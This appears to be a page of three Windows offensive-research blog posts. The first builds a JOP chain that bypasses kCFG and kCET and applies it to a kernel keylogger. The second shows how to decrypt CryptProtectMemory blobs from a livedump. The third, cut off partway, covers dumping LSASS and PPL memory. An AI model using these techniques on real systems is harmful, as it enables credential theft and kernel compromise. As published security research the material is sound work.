Posts on Slowerzs' blog

Code reuse in the age of kCET and HVCI

Wed, 19 Mar 2025 18:04:08 +0100

With the recent evolutions of the Windows kernel, multiple mitigations and hardenings have been created, to prevent arbitrary kernel code execution. First, HVCI ensures at the hypervisor level that only signed drivers can be loaded within the kernel. To prevent the allocation of new executable pages, Extended Page Tables are used - new executable pages can only be allocated with support of the hypervisor, and that requires some form of code signature.

Then, to ensure already loaded code cannot be reused, Control-Flow Integrity is enforced using two different mechanisms. kCFG is a software implementation of CFI used to protect forward edges, which relies on a bitmap of valid call targets - bitmap that is protected by the hypervisor. Backward-edges are protected using kCET, Windows support of Intel CET, a hardware implementation of a shadow stack, which protects return addresses on the stack from tampering.

All of these mechanisms are described in this blogpost, which I recommend reading.

The addition of kCET makes techniques such as KernelForge non-functionnal, which would craft a ROP chain on the stack of a dummy thread to chain arbitrary function calls.

In this blogpost, I wanted to explore whether kernel-code execution was still possible, or if data-only attacks are now the only way to go.

Breaking forward-edge integrity

While kCET seems pretty robust, kCFG is not as robust as Intel IBT, the hardware implementation of forward-edge CFI. As such, techniques like Jump-Oriented Programming (JOP) can get around kCET, but the first gadget in the chain is unlikely to be a valid call target. Therefore, we need to get around kCFG once, afterwards, it is no longer a concern during the execution of the JOP chain.

kCFG can only maintain the integrity of the control flow if every call site is instrumented. In practice however, in the Windows kernel, it is not uncommon to find unprotected calls or jumps.

To discover interesting functions which lead to unprotected call sites with attacker controlled data, I experimented with two different approaches: manually inspecting control-flow related functions, in particular functions that can modify the control-flow in unpredictable ways at compile time - exceptions and goto. The second approach was using symbolic execution with the miasm framework.

Symbolic execution

I wrote a quick script to list all valid call targets of ntoskrnl.exe, and for each function, ran the symbolic execution. Then, the execution stops when the instruction pointer cannot be solved, and logged the expression which determines the value of the instruction pointer. I filtered the results to only keep functions where the instruction pointer depended on the arguments given to the function.

This yielded some interesting results. Below I show some candidates that could be used, depending on the primitive you have:

KiDpcDispatch xors a buffer pointed by RCX with RDX, then gets the address of a kernel function, writes a value to the target address, and jumps to it. For example, the expression returned by miasm is the following: (@64[@64[RCX + 0x40] + 0x20] ^ @64[@64[RCX + 0x40] + 0x40]) | 0xFFFF800000000000.

KiDpcDispatch

xor        qword ptr [rcx + 0x48], rdx
xor        qword ptr [rcx + 0x50], rdx
add        rcx, 0x48
xor        qword ptr [rcx + 0x10], rdx
xor        qword ptr [rcx + 0x18], rdx
xor        qword ptr [rcx + 0x20], rdx
xor        qword ptr [rcx + 0x28], rdx
xor        qword ptr [rcx + 0x30], rdx
xor        qword ptr [rcx + 0x38], rdx
xor        qword ptr [rcx + 0x40], rdx
xor        qword ptr [rcx + 0x48], rdx
xor        qword ptr [rcx + 0x50], rdx
xor        qword ptr [rcx + 0x58], rdx
xor        qword ptr [rcx + 0x60], rdx
xor        qword ptr [rcx + 0x68], rdx
xor        qword ptr [rcx + 0x70], rdx
xor        qword ptr [rcx + 0x78], rdx
xor        qword ptr [rcx + 0x80], rdx
xor        qword ptr [rcx + 0x88], rdx
xor        qword ptr [rcx + 0x90], rdx
xor        qword ptr [rcx + 0x98], rdx
xor        qword ptr [rcx + 0xa0], rdx
xor        qword ptr [rcx + 0xa8], rdx
xor        qword ptr [rcx + 0xb0], rdx
xor        qword ptr [rcx + 0xb8], rdx
xor        qword ptr [rcx + 0xc0], rdx
xor        dword ptr [rcx], edx
sub        rcx, 0x48
mov        r8, qword ptr [rcx + 0x40]
mov        r10, qword ptr [r8 + 0x40]
mov        rdx, 0xffff800000000000
mov        r9, qword ptr [r8 + 0x20]
xor        r10, r9
or         r10, rdx
mov        rdx, 0x85131481131482e
mov        rcx, rdx
xor        rdx, qword ptr [r10]
mov        dword ptr [r10], ecx
mov        rcx, r10
jmp        rcx

RtlLookupFunctionEntryEx calls the value RCX + *(RCX-0x1000+0x7E8) :

RtlLookupFunctionEntryEx

xor        qword ptr cs:[rcx], rdx
xor        qword ptr [rcx + 0x8], rdx
lea        rdx, [rcx - 0x1000]
mov        eax, dword ptr [rdx + 0x7e8]
add        rax, rdx
sub        rsp, 0x28
call       rax
add        rsp, 0x28
mov        r8, qword ptr [rax + 0x110]
lea        rcx, [rax + 0x798]
mov        edx, 0x1
jmp        r8

RtlpExecuteHandlerForException simply calls the 6th argument:

RtlpExecuteHandlerForException

sub        rsp, 0x28
mov        qword ptr [rsp + 0x20], r9
mov        rax, qword ptr [r9 + 0x30]
call       rax
nop        dword ptr [rax]
nop
add        rsp ,0x28
ret

Despite having very different names, KiDpcDispatch, and RtlLookupFunctionEntryEx have something in common: they are all Patchguard functions with intentionally confusing names! :)

KiDpcDispatch is not suitable for our needs, since it requires RWX memory (in the last 3 instructions).

RtlLookupFunctionEntryEx could work, but would require carefully calculating the value in the 1st argument, so that the write operation ends up writing to writeable memory.

Finally RtlpExecuteHandlerForException redirects the control flow to the 6th parameter, with a call instruction. This can also work, depending on the primitive you have.

Overall, I think symbolic execution has a lot of potential to identify interesting functions to get around kCFG, even without much knowledge on the topic, I was quickly able to find valid candidates. My implementation was also very limited, if the function had an immediate call, the symbolic execution would stop and not recursively execute the function called - and I still had multiple candidates.

longjmp

While manually searching for interesting functions, I decided to look at the implementation of longjmp:

void longjmp(jmp_buf env, int value)
{
  KeCheckStackAndTargetAddress(env->Rip, env->Rsp);
  __longjmp_internal(env, value);
  return;
}

The __longjmp_internal function performs the actual longjmp - it restores nonvolatile registers from the env parameter and jumps to the Rip value, without any CFG check:

...
mov rax, rdx
mov rbx, qword [rcx + 8]
mov rsi, qword [rcx + 0x20]
mov rdi, qword [rcx + 0x28]
mov r12, qword [rcx + 0x30]
mov r13, qword [rcx + 0x38]
mov r14, qword [rcx + 0x40]
mov r15, qword [rcx + 0x48]
ldmxcsr dword [rcx + 0x58]
movdqa xmm6, xmmword [rcx + 0x60]
movdqa xmm7, xmmword [rcx + 0x70]
movdqa xmm8, xmmword [rcx + 0x80]
movdqa xmm9, xmmword [rcx + 0x90]
movdqa xmm10, xmmword [rcx + 0xa0]
movdqa xmm11, xmmword [rcx + 0xb0]
movdqa xmm12, xmmword [rcx + 0xc0]
movdqa xmm13, xmmword [rcx + 0xd0]
movdqa xmm14, xmmword [rcx + 0xe0]
movdqa xmm15, xmmword [rcx + 0xf0]
mov rdx, qword [rcx + 0x50]
mov rbp, qword [rcx + 0x18]
mov rsp, qword [rcx + 0x10]
jmp rdx

This would be an ideal function to call to bypass the requirements of kCFG, but __longjmp_internal is not a valid call target. However, longjmp is a valid call target, so let’s review KeCheckStackAndTargetAddress to see what constraints we have:

void KeCheckStackAndTargetAddress(size_t Rip, size_t Rsp)
{
  size_t StackLimit = 0;
  size_t StackBase = 0;
  if (Rip >= 0x8000000000000000)
  {
    BOOL success = KeQueryCurrentStackInformationEx(Rsp, unused, &StackBase, &StackLimit);
    if (((success != FALSE) && (StackBase <= Rsp)) && (Rsp < StackLimit))
      return;
  }
  __debugbreak();
}

Regarding the new RIP value, the only constraint is that it is a kernel address, so no real issue here. The new RSP value has a constraint: it must be within the bounds of the kernel stack of the current thread.

Starting with version 24H2, new restrictions on KASLR leaks are in place, which would prevent unprivileged users from getting an easy kernel stack address leak. While this can be an issue for exploiting a privilege escalation vulnerability, this isn’t a problem when targeting “admin-to-kernel” scenarios.

This makes longjmp an interesting function to call to break the forward-edge integrity enforced by kCFG, if you have control over the 1st argument, and have a stack address leak.

Crafting a JOP chain

Now that kCFG is no longer a concern, we can start reusing kernel code by jumping on a gadget in the middle of a function (or instruction), just like a standard ROP chain. The gadget cannot end in a ret, because kCET is still in place, instead, it must end on an indirect jmp or a call

Unlike ROP chains, JOP chains have an additional difficulty: there is nothing maintaining and updating the state of the execution of the chain. After the execution of a gadget, there is nothing that makes the control flow go to the next gadget. While it is possible to prepare the register used in the indirect jmp or call at the end of the gadget to branch to the next gadget directly, this doesn’t work as the chain gets bigger. This would require preparing too many registers, and create additional constraints for the gadgets themselves. Given that JOP gadgets are also less convenient than ROP gadgets, this quickly makes creating JOP chain too complex, so an alternative solution is needed.

On a ROP chain, this is implicitly done when a ret instruction is executed at the end of a ROP gadget, the control flow goes to the next gadget, and at the same time, the stack pointer gets updated and now holds the address of the following gadget.

To replicate this behavior when creating a JOP chain, one can use a “dispatcher” gadget, whose role is to link together all the pieces of the JOP chain. When the execution of any gadget completes, the execution must come back to the dispatcher gadget, which will update the state of the JOP chain, and jump to the next gadget.

This gadget is crucial, and will affect the design of the entire chain of gadgets, so finding this gadget first is a good idea.

JOP dispatchers

I identified two gadgets that could fulfill my requirements. The first one corresponds to the nt!HalpLMIdentityStub symbol:

mov edi, edi
mov rcx, qword [rdi + 0x70]
mov rax, qword [rdi + 0xa0]
mov rdi, qword [rdi + 0x78]
jmp rcx

This could work starting from the first instruction, abusing the fact that SMAP is not enabled in most contexts on Windows, or starting from the second instruction. In this dispatcher, rdi serves as the register that gets updated to hold the address of the next gadget. The downside of this gadget is that the rcx register gets clobbered with the address of our target gadgets, which is inconvenient when targeting functions with the fastcall convention, where rcx holds the first argument.

I initially started using this gadget to make a working JOP chain, and then switched to the gadget I describe below because it is more powerful - but it is clearly possible to build a JOP chain around this dispatcher.

The second gadget I found is located at the end of nt!_guard_retpoline_exit_indirect_rax:

call rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
mov r9, qword [rsp + 0x40]
add rsp, 0x48
jmp rax

This gadget is slightly different. This time, the register holding the address of the next gadget is rsp. If we could execute this in a loop, this would be perfect, we would call an arbitrary address, update the arguments, then jmp back to the call instruction. Unfortunately, both the jmp and call instructions use the rax register.

To get around this, we start the execution on the mov rax, qword [rsp + 0x20] instruction, prepare the arguments for our target function, then jump to a JOP gadget that can update rax without modifying other registers. I picked the following gadget: pop rax ; push rdi ; cmc ; jmp qword [rsi+0x3B] ;. Only the pop rax and jmp qword [rsi+0x3B] are relevant, but JOP gadgets are less convenient. The pop rax instruction updates rax with the value of the target function, read from the stack, and rsi is prepared beforehand so that *(rsi+0x3B) points to the call rax. With this, we can loop around this gadget, and call arbitrary addresses, while also controlling every arguments.

There is also a big upside to this gadget: it uses a call instruction, which means it is possible to execute ret-ending gadgets, just like in a ROP chain! Typical ROP gadgets, for example pop rdi ; pop rsi ; ret ; can work - rdi gets the return address pushed by the call rax instruction, rsi gets the value of interest, and the following address on the stack must be the address of the mov rax, qword [rsp + 0x20] instruction, to comply with kCET. This works because fundamentally, Intel CET checks the return value on the stack with the shadow stack, but not the address where it was originally pushed to.

With this, we can chain function calls and ROP gadgets

Saving the return value & pivoting stacks

Now, the only thing that is missing is the ability to save and reuse the return value of function calls. The return value in rax immediately gets overwritten by the mov rax, qword [rsp + 0x20] instruction of our dispatcher.

To address this issue, the call rax instruction is not going to directly call the target function, but another gadget containing another call instruction. The one I picked is the following : call rbp ; jmp qword [rsi-0x77] ;. If rbp is setup to have the address of the target function, we can gain control of the execution after the target function, where rax has not been destroyed yet.

To save rax, I used this gadget:

mov qword [rsi], rax
mov rbx, qword [rsp+0x60]
mov rsi, qword [rsp+0x68]
add rsp, 0x50
pop rdi
ret

When it returns, kCET forces the return address to be the second instruction of the JOP dispatcher, but this is fine, because the return value has been saved at *rsi.

And, to actually reuse the return value, I split the JOP each time the return value needed to be reused. This way, I could memcpy the value saved to the next part of the payload, and used a pop rsp ; ret ; gadget to switch from one part of the payload to the next.

Here is a trace to follow of the execution flow of the JOP chain.

Click to expand

mov rax, qword [rsp + 0x20] ; set arguments for function call, and rax to the address of the "pop rax" gadget
; ...
jmp rax
pop rax ; set rax to the address of the "call rbp ; jmp [rsi-0x77]" gadget 
; ...
jmp qword [rsi+0x3b] ; rsi previously set so that *(rsi+0x3b) points to the address of the "call rax" instruction in the jop dispatcher
call rax
	call rbp ; previously set to the target function
		nop ; (Start of the target function)
		; ...
		ret
	jmp qword [rsi-0x77] ; rsi previously set so that *(rsi-0x77) points to the address of the gadget used to save rax
	mov qword [rsi], rax ; return value gets saved at *rsi
	; ...
	ret
mov rax, qword [rsp + 0x20] ; start of second gadget, 
; ...
jmp rax
pop rax ; set rax to the address of "add rsp, 0x50 ; pop rbp ; ret" gadget
; ...
jmp qword [rsi+0x3b] ; rsi previously set so that *(rsi+0x3b) points to the address of the "call rax" instruction in the jop dispatcher
call rax
	add rsp, 0x50
	pop rbp ; set rbp to the address of the 2nd target function, memcpy if we want to reuse the result of the 1st function call
	ret
mov rax, qword [rsp + 0x20] ; set arguments for the 2nd function call, and rax to the address of the "pop rax" gadget
; ...
jmp rax
pop rax ; set rax to address of "call rbp ; jmp [rsi-0x77]" 
; ...
jmp qword [rsi+0x3b] ; rsi previously set so that *(rsi+0x3b) points to the address of call rax instruction in the jop dispatcher
call rax
	call rbp ; previously set to the 2nd target function
		nop ; (Start of the target function)
		; ...
		ret
	jmp qword [rsi-0x77] ; rsi previously set so that *(rsi-0x77) points to the address of the gadget used to save rax
	mov qword [rsi], rax ; return value gets saved at *rsi
	; ...
	ret
mov rax, qword [rsp + 0x20] ; start of third gadget, 
; ...

Finally, to avoid running into paging issues, where a part of the JOP chain isn’t paged in - which would result in a crash because page faults are not handled - I mapped all the parts of the payload in non-paged pool memory, using named pipes backing buffers. With this, we have the ability to reuse kernel code to call arbitrary functions and execute ROP gadgets, and save and reuse return values - without ever breaking the constraints of kCET.

With this, we have the ability to reuse kernel code to call arbitrary functions and execute ROP gadgets, and save and reuse return values - without ever breaking the constraints of kCET.

Is kernel code execution really useful ?

Now that we can achieve code execution thanks to code reuse, let’s consider when it can be useful, compared to a data-only attack.

To me, there are two main reasons where this can useful.

The first use case is executing privileged instructions, and in particular, interacting with the hypervisor and VTL1. With data-only attack, this might be done using race conditions, were the backing data of a message is replaced before being sent, but it seems harder to implement and unreliable.

The second use case is when dealing with complex data structures. For instance, in my proof of concept below, I would have to create and edit page table entries - it is much more convenient to call the corresponding API and have it do the work for you.

Finally, while this technique can get arbitrary kernel code execution, it cannot be started by a callback if none of the arguments are controlled. This makes it unsuitable for intercepting process creation notifications, for example.

Proof of concept

To demonstrate the technique, using the “admin-to-kernel” arbitrary call primitive offered by the KexecDDPlus tool, I chose to build a payload that maps the keyboard state in userland to create a keylogger, as described in the Close Encounters of the Advanced Persistent Kind presentation, with an example implementation on Windows 10. This would be tedious to implement using a data-only attack.

I happen to have a kCET compatible CPU, so using Hyper-V, I setup a Windows 11 test environment, with kCET enabled:

To start off the execution of the JOP chain, I used longjmp to get around kCFG, since the primitive offered by this ioctl gives full control over rcx.

Then, the execution of the JOP chain kicks off, the payload successively calls win32ksgd!SGDGetUserSessionState, adds a constant value to the result using a ROP gadget, to locate the map containing the state of the keyboard. Afterwards, a MDL describing the map is constructed using IoAllocateMdl, locked using MmProbeAndLockPages, and finally mapped to userland using MmMapLockedPagesSpecifyCache. Finally, the map is polled in userland to have a working keylogger.

My implementation is available on Github. While the offsets were created for Windows 22H2, build version 22261.4890, the most important gadgets, such as the dispatcher still exist on 24H2, and the others, while not all directly present, all have similar gadgets that could replace them.

With all this, I think its clear that kernel code execution is not dead :)

Decrypting CryptProtectMemory without code injection

Mon, 11 Nov 2024 12:10:31 +0100

CryptProtectMemory is a function used to encrypt sensitive memory in an application, without providing any key. In particular, this function has a flag, CRYPTPROTECTMEMORY_SAME_PROCESS, which should ensure that the encrypted memory can only be decrypted from within the process where it was encrypted.

I’ve come across this function in multiple contexts, being used both as security mechanism (for instance it is used by KeePass or the default RDP client to protect masterkeys in memory), as well as by offensive applications to hide payloads in memory. For example, this means tools that try to decrypt the masterkey of KeePass, must inject code into the KeePass process.

All this got me wondering how the encryption worked, and if it was possible to decrypt encrypted blobs without injecting code into the victim process. Let’s dive into the implementation !

Finding the actual implementation

CryptProtectMemory is exported bydpapi.dll, with the following prototype:

DPAPI_IMP BOOL CryptProtectMemory(
  [in, out] LPVOID pDataIn,
  [in]      DWORD  cbDataIn,
  [in]      DWORD  dwFlags
);

Decompiling the function, it is just a thin wrapper around cryptbase!SystemFunction040:

BOOL CryptProtectMemory(LPVOID pDataIn,dword cbDataIn,dword dwFlags)
{
  NTSTATUS status;
  ULONG ErrorCode;
  
  status = SystemFunction040(pDataIn,cbDataIn,dwFlags);
  if (status < 0) {
    ErrorCode = RtlNtStatusToDosError(status);
    SetLastError(ErrorCode);
  }
  return status >= 0;
}

Let’s see what SystemFunction040 does:

ULONG SystemFunction040(LPVOID pDataIn, dword cbDataIn, dword dwFlags)
{
  ULONG IoctlCode, status;
  IO_STATUS_BLOCK IoStatusBlock;
  
  if ((g_hKsecDD != 0) || EncryptMemoryInitialize()) {
    switch (dwFlags) {
    case CRYPTPROTECTMEMORY_SAME_PROCESS:
      IoctlCode = 0x39000e;
      break;
    case CRYPTPROTECTMEMORY_CROSS_PROCESS:
      IoctlCode = 0x390016;
      break;
    case CRYPTPROTECTMEMORY_SAME_LOGON:
      IoctlCode = 0x39001e;
      break;
    case 4:
      IoctlCode = 0x39007a;
      break;
    default:
      return STATUS_INVALID_PARAMETER;
    }

    status = NtDeviceIoControlFile(
      g_hKsecDD,
      0,
      0,
      0,
      &IoStatusBlock,
      IoctlCode,
      pDataIn,
      cbDataIn,
      pDataIn,
      cbDataIn
    );
  }
  else {
    status = STATUS_UNSUCCESSFUL;
  }
  return status;
}

Again, the real work is done deeper, the function is simply a wrapper around an ioctl made to the \\Device\\KsecDD device driver (which is opened in EncryptMemoryInitialize).

Depending on the flags provided to CryptProtectMemory, a different ioctl code will be used. Since the CRYPTPROTECTMEMORY_SAME_PROCESS flag is the one of interest, the corresponding ioctl code is 0x39000e.

Additionally, it is interesting to note that there is an undocumented flag with a value of 4 and an ioctl code of 0x39007a.

Inside the DriverEntry function of ksecdd.sys, the ioctl handler is registered with a generic function that handles all I/O operations for the driver:

DriverEntry(PDRIVER_OBJECT DriverObject) {
  ...
  DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = KsecDispatch;
  ...
}

Then, the control is handed to the function responsible for the ioctl I/O operations:

ulonglong KsecDispatch(undefined8 param_1,PIRP Irp,undefined8 param_3,undefined8 param_4)
{
  ...
  MajorFunction = CurrentStackLocation->MajorFunction;

  if (MajorFunction == IRP_MJ_DEVICE_CONTROL) {
    ...
    result = KsecDeviceControl(
      Irp->AssociatedIrp.SystemBuffer, InputBufferLen, OutputBuffer, OutputBufferLen, IoctlCode, Irp
    );
  }
}

As one might expect, KsecDeviceControl calls methods corresponding to the ioctl code. However, there is no special case for 0x39000e. If the ioctl code is not among the hardcoded ones, a function pointer from a global array, gKsecDeviceControlExtension, is invoked.

status = (**gKsecpDeviceControlExtension)(
InputBuffer, InLength, OutputBuffer, OutputBufferLen, IoctlCode, IRP->RequestorMode
);

I was too lazy to statically find out how this global variable was initialized, so I simply looked in an already initialized example from a memory dump:

0: kd> ln poi(poi(ksecdd!gKsecpDeviceControlExtension))
Browse module
Set bu breakpoint

(fffff803`0e93e900)   cng!CngDeviceControl   |  (fffff803`0e93ebd8)   cng!VerifyRegistryAccess
Exact matches:
    cng!CngDeviceControl (void)

It seems that the driver that will be handling our ioctl is the Windows Kernel Cryptography Driver cng.sys, which makes sense since the operation is related to cryptography.

Let’s review cng!CngDeviceControl. This time, a special case is present for ioctl 0x39000e, among others:

if ((((IoctlCode == 0x39000e) || (IoctlCode == 0x390012)) || (IoctlCode == 0x390016)) ||
    (((IoctlCode == 0x39001a || (IoctlCode == 0x39001e)) || (IoctlCode == 0x390022)))) {
...
    status = CngEncryptMemoryEx(OutputBuffer, *Length, OperationIsEncryption, CipherType);
...
}

CngEncryptMemoryEx is where the real work is done, which includes two flags, one to indicate whether we are encrypting or decrypting the memory, and the other to indicate which cipher to use (this function is also used by other ioctl, for instance when using a flag different than CRYPTPROTECTMEMORY_SAME_PROCESS, or simply when decrypting memory). The value of these two flags depends on the ioctl code. In SystemFunction040, the memory is being encrypted, so OperationIsEncryption is equals to 1, and CipherType has a value of 0.

void CngEncryptMemoryEx(undefined (*OutputBuffer) [16],uint Length,int OperationIsEncryption, int OperationType) {
...
    if ((Length & 0xf) == 0) {
        UseAES = true;
    } else {
        UseAES = false;
    }
    else if ((Length & 7) != 0) {
        LogError();
        return;
    }
...
    if (TypeOfOperation == 0) {
        Cookie = 0;
        status = ZwQueryInformationProcess(GetCurrentProcess(), 0x24, &Cookie);
        if (status < 0) {
            DebugTraceError(status,"Status", "onecore\\ds\\security\\cryptoapi\\ncrypt\\crypt\\kernel\\encmem.cxx");
            goto error;
        }
        CurrentEprocess = PsGetCurrentProcess();
        CurrentProcessCreateTime = PsGetProcessCreateTimeQuadPart(CurrentEprocess);
	
        KeyData.Cookie = Cookie;
        KeyData.CreateTime = CurrentProcessCreateTime;

        Iv = RandomSalt;

        if (UseAES) {
            GenerateAESKey(aesKey, &KeyData, sizeof(KeyData));
            if (OperationIsEncryption == 0) {
                SymCryptAesCbcDecrypt(AesKey, Iv, OutputBuffer, OutputBuffer, BufferLength);
            } else {
                SymCryptAesCbcEncrypt(AesKey, Iv, OutputBuffer, OutputBuffer, BufferLength);
            }
        } else {
            GenerateKey(DesKey, &KeyData, sizeof(KeyData));
            if (OperationIsEncryption == 0) {
                SymCryptCbcDecrypt(
                    SymCrypt3DesBlockCipher_default, DesKey, Iv, OutputBuffer, OutputBuffer, BufferLength
                );
            } else {
                SymCryptCbcEncrypt(
                    SymCrypt3DesBlockCipher_default, desKey, Iv, OutputBuffer, OutputBuffer, BufferLength
                );
            }
        }
    }
}

This is where the actual encryption happens. Something interesting to note is that although the documentation states that The number of bytes must be a multiple of the CRYPTPROTECTMEMORY_BLOCK_SIZE constant, which is equal to 0x10, however, if the length is only a multiple of 8, it is still accepted (probably for backward compatibility). If that’s the case, the cipher used will be different.

If the length is a multiple of CRYPTPROTECTMEMORY_BLOCK_SIZE, AES128 will be used, else, it will be 3DES. This makes sense as the block size of AES128 is 0x10 bytes, and 8 bytes for 3DES. The library used for encryption is SymCrypt, an open-source library. Both ciphers use the CBC mode of operation.

In both cases, the initialization vector used by the CBC mode is a global variable, cng!RandomSalt (but only half of the data is used with 3DES since the block size is only 64 bits).

Depending on the cipher, the key is generated using the GenerateAESKey and GenerateKey, for AES and 3DES, respectively. In both cases, a struct containing both the process creation time and the process Cookie (a randomly generated value stored in the EPROCESS structure associated with the current process) is given as an argument.

Now, the only thing missing, to fully understand the encryption process, is to find out how symmetric keys are derived from those two values.

Let’s start with GenerateAESKey:

void GenerateAESKey(_SYMCRYPT_AES_EXPANDED_KEY *ResultAesKey, KeyInput *KeyData,ulong DataLength)
{
    memcpy(&ShaState, &g_ShaHash, sizeof(SYMCRYPT_SHA1_STATE));
    SymCryptSha1Append(&ShaState, KeyData, DataLength);
    SymCryptSha1Result(&ShaState, ShaHash);
    SymCryptAesExpandKeyInternal(ResultAesKey, ShaHash, 0x10, '\x01');
}

This is fairly straightforward. The internal state of a global variable g_ShaHash is copied to a local variable, then the state of the SHA hash is update with the 12 bytes of the Cookie and the CreateTime fields of the associated process. Finally, the SHA1 hash is finalized, and the first 0x10 bytes of the hash are used as the symmetric key for AES (SHA1 hashes are 0x14 bytes long).

g_ShaHash is initialized once per boot in cng!CngEncryptMemoryInitialize, and remains the same afterward.

Now, let’s take a look at GenerateKey:

void GenerateKey(_SYMCRYPT_3DES_EXPANDED_KEY *DesKey, KeyInput *Data, ulong DataLen)
{
    BYTE ShaHashes[0x28]; // Holds two SHA1 hashes

    memcpy(&ShaState1, &g_ShaHash, sizeof(SYMCRYPT_SHA1_STATE));
    SymCryptSha1Append(&ShaState1, "aaa", 3);
    SymCryptSha1Append(&ShaState1, Data, DataLen);
    SymCryptSha1Result(&ShaState1, &ShaHashes[0]);

    memcpy(&ShaState2, &g_ShaHash, sizeof(SYMCRYPT_SHA1_STATE));
    SymCryptSha1Append(&ShaState2, "bbb", 3);
    SymCryptSha1Append(&ShaState2, Data, DataLen);
    SymCryptSha1Result(&ShaState2, &ShaHashes[0x14]);

    SymCrypt3DesExpandKey(DesKey, ShaHashes, 0x18);
}

This is slightly different, since a 3DES key is 0x18 bytes long, a single SHA1 hash is not enough. In order to get enough bytes, two hashes are calculated, once again starting from the initial of g_ShaHash. To get different values, the hashes are updated with b"aaa" and b"bbb". Finally, the hashes are updated with both the Cookie and CreateTime values.

The resulting 3DES key is the concatenation of all bytes from the first SHA1 hash with the four first bytes of the second hash.

The other flags

I won’t dive as deep on the other flags, but I’ll provide a quick overview:

Instead of the process cookie and creation time, CRYPTPROTECTMEMORY_SAME_LOGON uses SeQueryAuthenticationIdToken to get the LUID of the current logon session, to use as an input to derive the AES/DES Key.
CRYPTPROTECTMEMORY_CROSS_PROCESS uses the value of cng!g_AESKey to derive the AES/DES key, which is initialized with random data once per boot.
Finally, the undocumented flag behaves differently depending of whether the application is encrypting or decrypting memory. If the application is encrypting memory, the blob is encrypted with a key derived from a hardcoded LUID with a value of 0x3E2, which according to online resources corresponds to the PROTECTED_TO_SYSTEM_LUID logon session. However, decryption is only permitted if the current logon session matches 0x3E7, a well-known LUID for the SYSTEM logon session.

I haven’t seen any use of the undocumented flag, but this could be an interesting topic for further research.

Decrypting protected memory

To summarize, to decrypt memory that was protected with CryptProtectMemory and the CRYPTPROTECTMEMORY_SAME_PROCESS flag in another process, one must:

Get the encrypted data, and its length in the target process
Get the value of the Cookie and CreateTime value in the EPROCESS structure of the target process
Get the value of cng!RandomSalt and cng!g_ShaHash
- If the length of the encrypted data is a multiple of 8, then
  - derive a 3DES key from two SHA1 hashes, starting with an initial state of g_ShaHash
  - the first one with the state updated with b"aaa" and then updated with the Cookie and CreateTime, taken in full
  - the second one with the state updated with b"bbb" and then updated with the Cookie and CreateTime, truncated to the first 4 bytes
- Else, if the length of the encrypted data is a multiple of 16, then
  - derive an AES128 key from the SHA1 hash starting with an initial state of g_ShaHash, and updated with Cookie and CreateTime, truncated to the first 16 bytes.
Finally, decrypt the memory using the corresponding key and cipher, as well as an IV of cng!RandomSalt, all 16 bytes for AES128, or the first 8 bytes for 3DES.

This seems pretty easy for a driver to do, but what about a userland application ? The Cookie, CreateTime, g_ShaHash, and RandomSalt are all stored in kernel memory.

Decrypting from usermode

Remembering my previous post, the NtSystemDebugControl syscall can be called by a user holding the SeDebugPrivilege to generate a kernel livedump. This can be used to parse kernel memory, and find all the elements required!

Additionally, on up-to-date Windows 11 or 2025 Server, the IncludeUserSpaceMemoryPages flag can be specified, to also be able to read the encrypted memory in the target process, without ever opening a HANDLE to the target process.

I wrote a proof of concept tool to decrypt protected data. It is available on Github.

This could be extended to retrieve credentials from sensitive applications, such as KeePass or mstsc.exe.

Conclusion

The availability of the NtSystemDebugControl provides privileged users a view of kernel memory, which holds various secrets. While not as powerful as other techniques, this confirms once again that admin-to-kernel (even read-only) techniques can be very interesting from an offensive point of view !

A similar analysis of CryptProtectMemory on older Windows versions by @eleemosynator

Injecting code into PPL processes without vulnerable drivers on Windows 11

Wed, 22 May 2024 19:36:10 +0200

While reading this article from James Forshaw on leveraging COM to inject code into a process, I discovered a syscall that I didn’t known about: NtSystemDebugControl.

Being unfamiliar with this syscall, I decided to look for more information. I found this PowerShell snippet, which worked well to dump kernel-mode memory. Looking for more, I found that the Flags argument was an enum that contained a IncludeUserSpaceMemoryPages. As the name suggests, if this flag is specified, the memory dump will include user-mode pages that are not swapped out.

From what I could gather, this flag used to be available to userland, but was later restricted to drivers only in an earlier Windows version, up until Windows 11. I decided to give it a try anyways, and, to my surprise, it actually worked! The memory dump did contain user-mode memory pages. Digging deeper, I found that this only worked on Windows 11.

Immediately, I wanted to see if this could be abused to bypass the protection of Protected Process Light (PPL).

If you are unfamiliar with Protected Process Light, I would recommend reading this article. In short, some processes can be run as Protected Process Light, which tries to protect them even from a malicious privileged user. To do this, only Windows-signed libraries and executable files can (theoretically) be loaded within the PPL, and standard processes cannot get a HANDLE to the process with full access to the PPL process, to prevent code injection.

Windows 11 vs Windows 10

The difference can be found by comparing the syscall in a Windows 11 and Windows 10 installation: when the IncludeUserSpaceMemoryPages flag is specified, the calls ends up in DbgkCaptureLiveKernelDump.

Here is the relevant code of this function on Windows 10:

IsFullLiveDumpDisabled = DbgkpWerIsFullLiveDumpDisabled();
if (IsFullLiveDumpDisabled != '\0') {
  DbgPrintEx(5, 1, "DBGK: Full Live Kernel Dumps are disabled. Failing request.\n");
  return STATUS_CONTENT_BLOCKED;
}
if ((((PreviousMode == '\x01') && ((*(uint *)(param_1 + 0x38) & 4) != 0)) &&
    (KdPitchDebugger != '\0')) && (KdLocalDebugEnabled == '\0')) {
  return STATUS_DEBUGGER_INACTIVE;
}

However, on Windows 11 (23H2), the code is the following :

IsFullLiveDumpDisabled = DbgkpWerIsFullLiveDumpDisabled();
if (IsFullLiveDumpDisabled != '\0') {
  DbgPrintEx(5, 1, "DBGK: Full Live Kernel Dumps are disabled. Failing request.\n");
  return STATUS_CONTENT_BLOCKED;
}
IsFeatureEnabled = Feature_LivedumpProcessFiltering__private_IsEnabled();
if ((((IsFeatureEnabled == 0) && (PreviousMode == '\x01')) && ((param_1[0xe] & 4) != 0)) &&
   ((KdPitchDebugger != '\0' && (KdLocalDebugEnabled == '\0')))) {
  return STATUS_DEBUGGER_INACTIVE;
}

A new check for a feature named LivedumpProcessFiltering is present in the Windows 11 version, which permits the capture of user-mode pages in the dump. Previously, this fonction was restricted to drivers, or system with debugging enabled.

A check for the SeDebugPrivilege is still required to call this syscall from userland.

This ability to create kernel dump with user-mode pages is actually used by the Task Manager, and has been published in a Microsoft article.

Dumping LSASS

The first offensive use case for this feature is to use this dump to read memory pages inside lsass.exe (regardless of whether RunAsPPL is configured for lsass.exe), to retrieve credentials for active Logon Sessions.

This is already implemented in Mimikatz’s plugin for WinDbg:

